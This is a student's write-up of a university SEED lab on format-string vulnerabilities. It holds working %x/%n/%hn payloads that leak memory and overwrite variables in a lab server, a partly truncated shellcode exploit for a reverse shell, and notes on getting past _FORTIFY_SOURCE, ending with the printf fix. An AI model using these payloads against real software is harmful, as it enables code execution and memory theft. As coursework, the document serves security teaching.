National Taiwan Normal University

CSIE Information Security: A Hands-on Approach

Instructor: Po-Wen Chi

Due Date: Dec 20, 2021, AM 11:59

Assignment 5

系級：資工１１１　學號：４０７４７０３１Ｓ　姓名：劉子弘

5.1 SEED Lab (40 pts)

2 Environment Setup

2.1 Turning of Countermeasure

```
seed@VM:~/hw/hw05$ sudo sysctl -w kernel.randomize_va_space=0
```

2.2 The Vulnerable Program

```
[12/19/21]seed@VM:~/.../server-code$ make
gcc -o server server.c
gcc -DBUF_SIZE=100 -z execstack  -static -m32 -o format-32 format.c
format.c: In function ‘myprintf’:
format.c:44:5: warning: format not a string literal and no format arguments [-Wformat-security]
   44 |     printf(msg);
      |     ^~~~~~
gcc -DBUF_SIZE=100 -z execstack  -o format-64 format.c
format.c: In function ‘myprintf’:
format.c:44:5: warning: format not a string literal and no format arguments [-Wformat-security]
   44 |     printf(msg);
      |     ^~~~~~
[12/19/21]seed@VM:~/.../server-code$ make install
cp server ../fmt-containers
cp format-* ../fmt-containers
```

2.3 Container Setup and Commands

```
[12/19/21]seed@VM:~/.../Labsetup$ dcup
WARNING: Found orphan containers (victim-10.9.0
ect. If you removed or renamed this service in
Creating server-10.9.0.5 ... done
Creating server-10.9.0.6 ... done
Attaching to server-10.9.0.5, server-10.9.0.6
```

3 Task 1: Crashing the Program

```
seed@VM:~/.../Labsetup$ echo hello | nc 10.9.0.5 9090
Attaching to server-10.9.0.5, server-10.9.0.6
server-10.9.0.5 | Got a connection from 10.9.0.1
server-10.9.0.5 | Starting format
server-10.9.0.5 | The input buffer's address:    0xffffd340
server-10.9.0.5 | The secret message's address:  0x080b4008
server-10.9.0.5 | The target variable's address: 0x080e5068
server-10.9.0.5 | Waiting for user input ......
server-10.9.0.5 | Received 6 bytes.
server-10.9.0.5 | Frame Pointer (inside myprintf):      0xffffd268
server-10.9.0.5 | The target variable's value (before): 0x11223344
server-10.9.0.5 | hello
server-10.9.0.5 | The target variable's value (after):  0x11223344
server-10.9.0.5 | (^_^)(^_^)  Returned properly (^_^)(^_^)
```

```
seed@VM:~/.../Labsetup$ echo %s%s%s | nc 10.9.0.5 9090
server-10.9.0.5 | Got a connection from 10.9.0.1
server-10.9.0.5 | Starting format
server-10.9.0.5 | The input buffer's address:    0xffffd340
server-10.9.0.5 | The secret message's address:  0x080b4008
server-10.9.0.5 | The target variable's address: 0x080e5068
server-10.9.0.5 | Waiting for user input ......
server-10.9.0.5 | Received 7 bytes.
server-10.9.0.5 | Frame Pointer (inside myprintf):      0xffffd268
server-10.9.0.5 | The target variable's value (before): 0x11223344
```

4Task2: Printing Out the Server Program's Memory

Task 2.A: Stack Data.

```
s = "%.8x"*18 + "%n"
```

```
seed@VM:~/.../attack-code$ python3 build_string.py
seed@VM:~/.../attack-code$ nc 10.9.0.5 9090 <badfile
seed@VM:~/.../attack-code$
 server-10.9.0.5 | Frame Pointer (inside myprintf):      0xffffd3e8
 server-10.9.0.5 | The target variable's value (before): 0x11223344
server-10.9.0.5 | ????abcd11223344000010000804 9db5080e5320080e61c0ffffd4c0ffffd3
e8080e62d4080e5000ffffd48808049f7effffd4c0000000000000006408049f47080e5320000005
dc000005dcffffd4c0ffffd4c0The target variable's value (after):  0x11223344
```

Task 2.B: Heap Data

```
000000000006fd68c00080e5000
005dc080e5320000000000000
000005dcA secret message
ble's value (after):  0x11
rned properly (^_^)(^_^)
```

```
s = "%.8x" * 63 + "%s"
```

5 Task 3: Modifying the Server Program's Memory

Task 3.A: Change the value to a different value

```
17  s = "%.8x" * 63 + "%n"
```

```
seed@VM: ~/.../Labsetup
server-10.9.0.5 | habcd11223344000010000 8049db5080e5320080e61c0ffffd6
c0ffffd5e8080e62d4080e5000ffffd68808049f7effffd6c0000000000000064080
49f47080e5320000005dc000005dcffffd6c0ffffd6c0080e9720000000000000000
0000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000075bebf00080e5000080e500
0ffffdca808049effffffd6c0000005dc000005dc080e532000000000000000000
0000ffffdd74000000000000000000000005dcThe target variable's val
ue (after):  0x00000200
```

Task 3.B: Change the value to 0x5000

```
s = "%.8x" * 62 +"%.19976x"+ "%n"
```

```
seed@VM: ~/.../Labsetup
0000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000
cThe target variable's value (after):  0x00005000
```

Task 3.C: Change the value to 0xAABBCCDD

```
# This line shows how to store a 4-byte integer at offset 0
number  = 0x080e5070
content[0:4]  =  (number).to_bytes(4,byteorder='little')

# This line shows how to store a 4-byte string at offset 4
content[4:8]  =  (number).to_bytes(4,byteorder='little')

number2  = 0x080e5068
content[8:12]  =  (number2).to_bytes(4,byteorder='little')


# This line shows how to construct a string s with
#   12 of "%.8x", concatenated with a "%n"
s = "%.8x."*62 +"%.43137x"+ "%hn"+"%.8738x" + "%hn"

# The line shows how to store the string s at offset 8
fmt  = (s).encode('latin-1')
content[12:12+len(fmt)] = fmt
0000000000000000000000000000000000000b58c3e00080e5000080e5000ffffdaa8080
0000005dc000005dcThe target variable's value (after):  0xAABBCCDD
```

6Task4:Inject Malicious Code in the Server Prog

6.1 Understanding the Stack Layout

Question 1

```
server-10.9.0.5 | The input buffer's address:    0xffffd4c0
server-10.9.0.5 | The secret message's address:  0x080b4008
server-10.9.0.5 | The target variable's address: 0x080e5068
server-10.9.0.5 | Waiting for user input ......
server-10.9.0.5 | Received 1500 bytes.
server-10.9.0.5 | Frame Pointer (inside myprintf):      0xffffd3e8
```

Question 2

(0xffffd4c0-0xffffd3e8)/4+10=64

Getting a Reverse Shell

先找到 return address 的地址(EBP+4)

```
readdr_addr=0xffffcab0
print("shellcode addr:",hex(12+len(fmt)+readdr_addr))
```

再透過 task3 程式找到 shellcode 的地址(s 後的 byte)

shellcode 的地址後半段剪調前半修改長度

```
s = "%.8x."*62 +"%.43137x"+ "%hn"+"%.2432x" + "%hn"
```

再把 exploit.py 接在後面

```
shellcode_32 = (
    "\xeb\x29\x5b\x31\xc0\x88\x43\x09\x88\x43\x0c\x88\x43\x4
    "\x48\x8d\x4b\x0a\x89\x4b\x4c\x8d\x4b\x0d\x89\x4b\x50\x8
    "\x8d\x4b\x48\x31\xd2\x31\xc0\xb0\x0b\xcd\x80\xe8\xd2\xf
    "/bin/bash*"
    "-c*"
    # The * in this line serves as the position marker
    "/bin/ls -l; echo '===== Success! ======'
    "AAAA"   # Placeholder for argv[0] --> "/bin/bash"
    "BBBB"   # Placeholder for argv[1] --> "-c"
    "CCCC"   # Placeholder for argv[2] --> the command strin
    "DDDD"   # Placeholder for argv[3] --> NULL
).encode('latin-1')


content[start:start+len(shellcode_32)]=shellcode_32
```

執行後在監聽 9090 就可以拿到了

7 Task 5: Attacking the 64-bit Server Program

8 Task 6: Fixing the Problem

因為在 printf 中沒有格式化也沒有提供%所以改為以下即可

```
printf("%s",msg);
```

5.2 Data Modification (20 pts)

可以，overflow 到 0xF....

```c
#include <stdio.h>
#include <inttypes.h>

int main(){
    int i=0,*p=&i;
    printf("%511d%n\n", 1, (int*)(((uint64_t)p)+3));
    printf("i=%d\n", i);
}
```

```
 i=-16777216
```

5.3 _FORTIFY_SOURCE (20 pts)

_FORTIFY_SOURCE 可以用來檢查編譯或執行時 memcpy, mempcpy, memmove, memset, strcpy, stpcpy, strncpy, strcat, strncat, sprintf, vsprintf, snprintf, vsnprintf, gets 等函示是否有 buffer overflow 或參數不一致，但擋不住 format string，當 overflow integer offset 時 args_type[offset] 可以指向任意位置，去把 stdout->_flags2 設為 0，只要不斷 call %n 去試看看有沒有賽到關掉就好，沒抱錯就賽到了。

5.4 sprintf (20 pts)

先用 gdb 找出 stack 內容和 fmtstr 的 return address 的位址然後套用 seed lab task4 要做的基本差不多

```
   0x56556240 <fmtstr>: endbr32
   0x56556251 <fmtstr+4>:       push   ebp
=> 0x56556252 <fmtstr+5>:       mov    ebp,esp
   0x56556254 <fmtstr+7>:       push   edi
   0x56556255 <fmtstr+8>:       push   ebx
   0x56556256 <fmtstr+9>:       sub    esp,0x1000
   0x5655625c <fmtstr+15>:      or     DWORD PTR [esp],0x0
[-------------------------------------stack-------------------------
0000| 0xffffce28 --> 0xffffcf98 --> 0x0
0004| 0xffffce2c --> 0x565563d7 (<main+132>:    add    esp,0x10)
0008| 0xffffce30 --> 0xffffce60 ('a' <repeats 12 times>)
0012| 0xffffce34 --> 0x1
0016| 0xffffce38 --> 0xc8
0020| 0xffffce3c --> 0x5655a1a0 --> 0xfbad2498
0024| 0xffffce40 --> 0x0
0028| 0xffffce44 --> 0x0
```

5.5 Bonus: Cyberbit (5 pts)

只是照步驟做，講師也沒能講太多東西，有點普普。